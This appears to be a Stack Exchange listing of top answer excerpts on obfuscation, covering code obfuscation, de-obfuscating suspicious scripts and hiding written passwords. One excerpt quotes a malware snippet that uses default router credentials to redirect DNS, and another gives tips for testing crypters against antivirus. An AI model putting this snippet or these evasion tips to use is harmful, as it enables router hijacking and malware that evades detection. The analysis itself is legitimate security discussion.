Hot answers tagged

47

In approximate order of increasing complexity (not security, and methods may be combined), here are some ideas that would be easy for anyone used to puzzles/writing code/maths. A more complete idea is below. NB: when I say "secret" I mean not written in the book. These are all easy, and most useful to deter the casual thief. Have a memorised secret ...


41

The problem with client sided Obfuscation/Protection is that the attacker will always win. Your code runs on his PC so he can intercept and manipulate everything in the end. In the specific case of .NET it might make sense to apply basic obfuscation to remove function names for example but free tools are perfectly fine for that. To answer your question a ...


26

The last line performs an eval() of function v78ZFAX() given the two parameters like so: eval(v78ZFAX($vFHLJ89, $vIIJ30Y)); That first parameter is the part that takes up the bulk of the code. It is assigned all that random-looking garbage, with . concatenating all those strings together into one long string: $vFHLJ89 = ...


16

I created a language for this purpose. None of the symbols look anything like English (no telling if they look like any other language), there are no spaces, several letters are missing, common patterns become single symbols (dis,ing,etc) to prevent easy decoding, it is written from top to bottom, right to left, in a grid with out lines, and I used trash to ...


16

Let's be clear: Obfuscation is not there to be a form of security that is subject to scrutiny. It will fall down as soon as someone actually tries to get around the obfuscation and just makes things harder on the attacker. The purpose of obfuscation is to dissuade potential attackers from getting into the system without a large amount of effort, which may ...


10

Is obfuscation worth it? Yes, of course it is worth it. Any extra layer which does not interfere with another layer is always worth it. It will deter the average person and keep the majority of people, or would be script kiddies, at bay.... But Commercial tools I would say are not, as anything to advanced could actually hinder your development, using some ...


10

You're lucky: it's Windows-specific. First, I took the code, and went to jsbeautifier.org to beautify it: var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110"; function do193() { return ',"h'; }; function do112() { return ') { '; }; function do127() { return 'r xa'; }; function do88() { return '= 0;'; }; function ...


9

To show you it is easy to de-obfuscate your code, and therefore kind of useless to obfuscate it in the first place, I will present you how I did to de-obfuscate it in a quick and dirty fashion: I took your code, and replaced the first "eval" by "console.log". This gave me another (smaller) code starting with "eval". So I repeated this process 9 times, as ...


9

A basic method to minimise the impact of someone being able to find out passwords from glancing over at the notebook would be to have one password per page - if you're looking at that one, that's all they can see. Another alternative would be to have a Diceware or similar list, and note down the numbers. It adds a step to "decryption", in that the ...


9

Write a diary and embed the passwords within the entries. It will not look like a book of passwords. Someone will have to read it to notice the misspelled words. I used an address book where the addresses, phone numbers, and postal codes of close friends and family members which were PINs and passwords. I know my family members addresses and phone numbers, ...


9

There are many better and more secure examples but I thought I'd mention one thing I've used in the past, which is mnemonics in the form of a drawings/comics to represent passphrases. This does require that you can vaguely remember what the passphrase was, however. An example could be the phrase "Tommy's birthday is on March 23rd!". The comic could ...


8

Use a mask. No, seriously. Use something like medium-thickness cardboard, obtainable from office supply or hobby stores, to create a rigid grid mask, maybe 30x6 character slots in size, and cut out randomly placed holes for maybe 40-50 characters out of those. (You can obviously pick different dimensions, depending on your needs.) To write down a password, ...


6

Once upon a time, I wrote down the different PINs for my credit and bank cards. I converted them to base 9 and then added a spurious extra 9 somewhere in each number. I think that was pretty safe, but of course it only works for entirely numeric passwords such as PINs.


5

I think your 'testing' is redundant. Obfuscation is not encryption and it is completely possible to de-obfuscate even if it takes manual investigation and a lot of patience. There are many tools out there to assist and there is no logical reason why this example can't be reduced to a simpler chunk of code relatively quickly. Anyone's effort to decode this ...


4

You've answered the question yourself. You're trying to implement DRM to prevent users from getting the video off the device. In practice there is little you can do to prevent this. There will always be ways to copy the stream, even intercepting the stream (it has to be displayed on the device at some point right?). So the only thing you can do is make it ...


4

Depends on the filter implementation and maybe the OS on the client machine. As you said - the IP address will end up in the TCP packets in its binary representation, regardless of how it was originally passed to the socket software layer. Firewalls will filter for this binary address and thus catch anything - there is no way around that. However, if the ...


4

I've come across several attempts at a wallet-sized reference card used as your password ciphertext. One example: http://www.passwordcard.org/en I wouldn't use one of these, but if I did, I'd spend more time on my mental model of how I derived my password, which should provide enough obfuscation that you likely wouldn't be able to acquire the card and the ...


3

Obfuscation != Security If your writing web services or some other code that runs on your secured servers, there is no need to obfuscate. If your deploying client side code, you may wish to obfuscate to make it harder for someone to reverse engineer your code so they can't steal it or take credit for it. It's very easy to decompile .Net code using ILDASM ...


3

A lot of people have already mentioned that obfuscation only increases the time in which an application's source can be regenerated; it works as a deterrent. Depending on the obfuscation techniques however, the resulting executable's size can be significantly reduced. Some obfuscation tools can even boost your application's performance by removing all ...


3

No. Obfuscation is not worth it. If you obfuscate your programs they will be picked up as false positives by virus scanners all the time. This will cause you far more headaches than a few lost sales. The only exception would be if you had an extraordinarily valuable piece of software - but if you aren't shipping a hardware dongle, your software is not so ...


3

You have a different threat model for written documents than for electronic ones but the way to handle them is pretty well known: restrict and audit physical access. It doesn't matter if it's nuclear launch codes or the combination of your little sister diary's padlock except in the specific way you're going to perform that control. This also means that, ...


3

The commenter, paj28, is correct: don't submit these to VirusTotal. Test them against the HIPS and AV systems you are specifically targeting in a VM-guest environment. I prefer using Vagrant along with the Packer and Boxcutter tools to "mock up" things in a lab. Hyperion is great, but don't combine it with Pescrambler necessarily. You only need one cryptor, ...


3

I use mnemonic clues. So I invent a password I can construct from the clues, and then only store the clues on paper. The clues might be a doodle, or part of a drawing, or something that reminds me what my password is. Or that remind me of the part I haven't memorized. So without knowing what my associations are, it would seem quite difficult for someone to ...


3

It attempts to exploit your router using the most common default user/pass combos and change your DNS servers to another: var dnsprimario = "103.31.0.140"; var dnssecundario = "8.8.8.8"; document.write('<img src="hxxp://admin:admin@10.1.1.1/dnscfg.cgi?dnsPrimary=' + dnsprimario + '&dnsSecondary=' + dnssecundario + ...


3

So their market is protecting your app from the prying eyes of reverse engineers. Myself, I find that page a little too fluffy, and a little too scant on details. I certainly wouldn't buy their product based solely on the descriptions on that page. Based on the descriptions, it looks like they generate some custom assembly language for each app, then you ...


2

Actually, Google is making it far more difficult for anyone to merely download a video because Google is parsing out the entire video and serving you only portions at a time. Thus your ideal single 'request URL' (AKA a GET request) is actually multiple GET requests. Because of this parsing, it becomes difficult to create a script/program that consistently ...


2

Certainly all private information in any file that is published online and accessible by a potential adversary is at risk. Regarding spam this is not the likeliest scenario, as they are plenty other sources of email adresses that require far less effort, such as leaked databases, mailing lists, public profiles of website showing your email address and any ...


2

Obfuscating in Javascript is usually done by generating the code dynamically. While you find older examples which make extensive use of chr(..) or base64 or lots of string concatenations detection heuristics improved to flag this kind of code as potentially malicious so that the attacked improved their methods. Typical current examples like this are not ...


2

Google has the Widevine DRM mechanism (Video DRM solution). A tool that can play with the Widevine internals (libwvcdm) can be found here -- https://github.com/EiNSTeiN-/chromecast-widevine-tools There is also the Stagefright multimedia framework to supply DRM -- https://source.android.com/devices/media.html -- Josh Drake is doing a prezo on it at BlackHat ...


2

In 7th grade our class had us write a journal. I used a simple code which used novel symbols for letters, and noted that at the back. But I soon memorized it and easily wrote it directly. Using novel symbols is less confusing than using a substitution cypher of the letters. In fact it's rather easy. It obfuscates but can be broken via normal techniques... ...



Only top voted, non community-wiki answers of a minimum length are eligible